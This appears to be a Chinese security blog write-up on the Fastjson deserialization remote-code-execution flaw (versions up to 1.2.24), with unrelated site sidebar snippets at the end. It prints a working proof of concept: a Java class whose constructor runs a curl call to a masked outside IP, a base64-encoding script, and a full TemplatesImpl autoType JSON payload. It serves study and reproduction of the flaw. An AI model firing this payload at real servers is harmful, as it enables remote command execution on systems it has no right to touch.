FastJson反序列化漏洞

简介: 参考文献:https://kevien.github.io/2018/06/18/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(%E7%BB%AD)/https://paper.

参考文献:https://kevien.github.io/2018/06/18/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(%E7%BB%AD)/
https://paper.seebug.org/636/
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/4686.html
jar包下载:https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.47

Fastjson概念

Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象

一个栗子

序列化
PS:需导入fastjson.jar

  • User.java
package fastjsondemo;
import java.io.IOException;
public class User {
    public String Username;
    private String password ;
    public String getUsername() {
        return Username;
    }
    public void setUsername(String username) {
        Username = username;
    }
    public String getPassword() {
        return password;
    }
    public void setPassword(String password) {
        this.password = password;
    }
    public User() throws IOException{
        Runtime.getRuntime().exec("calc.exe");
    }
}
  • Test1.java
package fastjsondemo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test1 {
    public static void main(String[] args){
        User user = new User();
        user.setUsername("admin");
        user.setPassword("123456");
        String entity1= JSON.toJSONString(user);
        System.out.println(entity1);
        
        String entity2 = JSON.toJSONString(user,SerializerFeature.WriteClassName);
        System.out.println(entity2);
    }
}

img_8d3afa37ebd3e3bf0a9ed1e2a75fd34f.png

反序列化
FastJson中的 parse()parseObject()方法都可以用来将 JSON字符串反序列化成Java对象。但是 parseObject()会额外的将 Java对象转为 JSONObject对象,即 JSON.toJSON()parse() 会识别并调用 目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject()在处理过程中会调用反序列化目标类的所有 settergetter方法。

String json1="{\"Username\":\"root\",\"password\":\"123456\"}";
String json2="{\"@type\":\"fastjsondemo.User\",\"Username\":\"root\",\"password\":\"123456\"}";
Object obj = JSON.parseObject(json1,User.class);
System.out.println(obj);
Object obj1 = JSON.parseObject(json2,User.class);
System.out.println(obj1);
img_1ea79be8c2dabebc604d04ae9df716fe.png

img_ca60c7256da03edcc3d70eb6f7e0e6d6.png

PS:json反序列化时会自动调用无参构造器里的方法,导致计算器弹出
password字段设置的是私有属性,FastJson无权直接去反序列化私有字段。

复现fastjson 反序列化导致任意命令执行漏洞

version: FastJson<=1.2.24

环境搭建什么的就不说了,按照大佬给的步骤就行了

  • 这是一个web应用,访问返回“Hello world”。正常POST一个json,目标会提取json对象中的name和age拼接成一句话返回:


    img_36cd93ca9f3a9e98caee3ec13650529c.png

    img_319937b6a596f768f7520241375aefa6.png

漏洞原理:

  • 原理
    fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中有一个私有属性_bytecodes,其部分方法会执行这个值中包含的Java字节码。
    想要使用TemplatesImpl_bytecodes属性执行任意命令,有几个条件:
    ①目标网站使用fastjson库解析json
    ②解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性
    ③目标使用的jdk中存在TemplatesImpl
  • 调用链(偷大佬的图)
    img_d4d76e3e78b7ddb8bdd65dab133b9f91.png

    利用方式
  • poc.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Poc extends AbstractTranslet {    #强制类型转化为AbstractTranslet类

    public Poc() throws IOException {
        Runtime.getRuntime().exec("curl http://120.xxx.xxx.xxx:8989");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        Poc t = new Poc();
    }
}
  • 执行命令javac Poc.java
  • 1.py(将Poc.class里面的内容base64加密(FastJson提取byte[]数组字段值时会进行Base64解码,所以构造payload时需要对 _bytecodes 进行Base64处理))
import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()
  • payload
{"name":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"},age:12}
img_b05f05aada2890b9a13d26de582b4163.png
img_fc412aa8f2c8d2b4b768364591bb8b58.png
目录
相关文章
|
2月前
|
弹性计算 测试技术 数据库
2026年阿里云活动中心优惠活动集锦:个人、企业和学生专属及同享活动参考
阿里云通过多元优惠活动降低用户上云门槛与成本,个人、企业、学生均可享特惠。个人用户可选38元/年轻量服务器或99元/年经济型e实例;企业用户有199元/年特惠u1实例,及迁云与出海补贴;学生与教师享“云工开物”计划,学生领300元无门槛券,教师获5折优惠。阿里云构建全应用场景普惠云生态,用户可根据需求选择最经济合适的方案。
669 5
|
5月前
|
安全 测试技术 Linux
Acunetix v25.12.5 发布,新增功能简介
Acunetix v25.12.5 (Linux, Windows) - Web 应用程序安全测试
232 0
Acunetix v25.12.5 发布,新增功能简介
|
5月前
|
Linux Docker 容器
【2026最新 架构环境安装篇一】云服务器Linux安装docker详细教程
本文介绍了在CentOS系统上安装Docker的完整步骤,包括更新系统、配置阿里云镜像源、安装Docker引擎及常用工具,并设置多个国内镜像加速器以提升拉取速度,最后通过命令验证安装成功。适用于希望快速部署Docker并优化网络性能的用户。
768 1
|
11月前
|
人工智能 数据可视化 调度
【三桥君】如何画前趋图?如何正确绘制前趋图,以清晰地展示语句或进程之间的依赖关系?
本文AI专家三桥君系统介绍了前趋图(Precedence Graph)这一可视化工具。前趋图作为有向无环图,能清晰展示任务间的执行顺序和依赖关系。三桥君详细阐述了前趋图的基本概念、绘制步骤(包括任务识别、依赖分析、节点绘制等),并通过实例展示了简单和复杂两种场景下的应用。同时指出前趋图在程序优化、进程调度和任务管理等领域的重要价值,强调其能有效避免逻辑错误、优化资源分配。三桥君认为掌握前趋图的绘制方法对提升程序性能和项目管理效率具有重要意义。
368 0
|
5月前
|
安全 数据可视化 数据挖掘
2026年数据分析工具推荐:从基础到高级的工具选择全指南
本文全面解析10款国内外主流BI工具,涵盖瓴羊Quick BI、Power BI、Tableau等产品,从核心定位、推荐场景、技术亮点到资质认证多维度对比,重点剖析其在数据可视化、智能分析、安全管控等方面的能力,并提供选型建议与免费试用参考,助力企业高效实现数据驱动决策。
|
存储 算法 Cloud Native
Ganos地理网格引擎支撑无人机路径规划能力实践
随着新能源技术的迅猛发展,低空经济已经逐步成为新的战略性新兴产业,但不同于传统的地表活动,低空活动具有立体性、区域性、融合性等特点,这些特点对于如何安全引导低空活动的顺利开展带来了一系列需要解决的技术问题。Ganos地理网格引擎提供了基于网格的路径规划能力,可以使用DEM、DSM、倾斜摄影等数据构建复杂环境下的无人机路径规划应用。
|
存储 数据管理 API
Harmony状态管理AppStorageV2和PersistenceV2
Harmony状态管理AppStorageV2和PersistenceV2
543 0
Harmony状态管理AppStorageV2和PersistenceV2
|
SQL 存储 运维
【赵渝强老师】达梦数据库的客户端工具
本文介绍了达梦数据库的多种工具及其使用方法,包括disql交互式查询工具、数据库配置助手DBCA、DM管理工具、DM服务查看器、DM控制台工具、DM数据迁移工具、DM性能监视工具以及DM审计分析工具。每种工具的功能和操作步骤均有详细说明,并配有相关图片和代码示例,帮助用户更好地理解和使用这些工具,提升数据库管理和维护效率。
1703 1
|
人工智能 自然语言处理 运维
AI性能极致体验:通过阿里云平台高效调用满血版DeepSeek-R1模型
DeepSeek是近期热门的开源大语言模型(LLM),以其强大的训练和推理能力备受关注。然而,随着用户需求的增长,其官网在高并发和大数据处理场景下常面临服务不稳定的问题。本文将深度测评通过阿里云平台调用满血版DeepSeek模型(671B),以充分发挥其性能和稳定性。阿里云提供高效、低延迟、大规模并发支持及稳定的云服务保障,并为用户提供100万免费token,简化操作流程,确保企业在AI应用上的高效性和成本效益。尽管如此,DeepSeek API目前不支持联网搜索和图片、文档分析功能,需结合其他工具实现。
1904 17
|
Linux
centOS8不在维护,yum源问题解决
解决执行 yum makecache 出现appstream下载源数据失败问题
1169 0
centOS8不在维护,yum源问题解决